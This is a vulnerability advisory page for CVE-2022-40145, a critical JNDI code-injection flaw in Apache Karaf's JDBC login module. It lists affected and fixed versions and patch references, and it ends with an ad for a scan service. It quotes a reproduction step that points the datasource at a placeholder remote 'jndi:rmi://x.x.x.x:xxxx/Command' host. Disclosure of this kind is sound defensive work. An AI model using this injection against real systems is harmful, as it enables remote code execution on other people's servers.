Apache Karaf vulnerable to potential code injection
This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2022-40145US | critical9.8 | — | ||
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.
The function jaas.modules.src.main.java.porg… | ||||
references
External citations — patches, advisories, analysis.
- https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1WEB
- https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341WEB
- https://github.com/apache/karafPACKAGE
- https://github.com/apache/karaf/pull/1632WEB
- https://issues.apache.org/jira/browse/KARAF-7568WEB
- https://karaf.apache.org/security/cve-2022-40145.txtWEB
- https://nvd.nist.gov/vuln/detail/CVE-2022-40145ADVISORY
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan